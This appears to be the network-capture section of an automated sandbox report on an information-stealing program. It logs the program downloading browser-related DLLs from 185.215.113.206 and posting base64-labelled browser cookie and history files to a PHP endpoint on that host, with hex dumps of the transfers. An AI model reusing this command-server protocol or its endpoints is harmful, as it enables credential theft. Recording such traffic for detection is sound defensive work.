Dec 19, 2024 07:57:00.973872900 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:01.498579979 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:01.935600042 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 19, 2024 07:57:01.935627937 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 19, 2024 07:57:01.939691067 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	185.215.113.206	80	4944	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:57:11.464353085 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDHDGDAAAAKFIDGHJDG--
Dec 19, 2024 07:57:13.905121088 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:14.177551031 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 07:57:14.177634001 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 19, 2024 07:57:15.122421026 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:15.166032076 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Dec 19, 2024 07:57:16.097419977 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:17.119909048 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="file"------DAECGCGHCGHCAKECBKJK--
Dec 19, 2024 07:57:18.058824062 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 07:57:18.309900999 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:18.746927977 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 19, 2024 07:57:18.746953011 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Dec 19, 2024 07:57:18.747143030 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Dec 19, 2024 07:57:18.747159958 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Dec 19, 2024 07:57:18.747282028 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Dec 19, 2024 07:57:18.747294903 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Dec 19, 2024 07:57:18.755513906 CET	1236	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
Dec 19, 2024 07:57:18.755616903 CET	620	IN	Data Raw: 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 00 89 4d e0 8b 4d ec 8a 55 e8 e9 96 Data Ascii: <U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EEMA
Dec 19, 2024 07:57:18.761934042 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Dec 19, 2024 07:57:18.762032986 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Dec 19, 2024 07:57:20.195878983 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:20.633352995 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 19, 2024 07:57:21.463565111 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:21.900886059 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 19, 2024 07:57:22.534621000 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:22.971695900 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 19, 2024 07:57:25.995256901 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 19, 2024 07:57:26.432337999 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 19, 2024 07:57:27.137362003 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
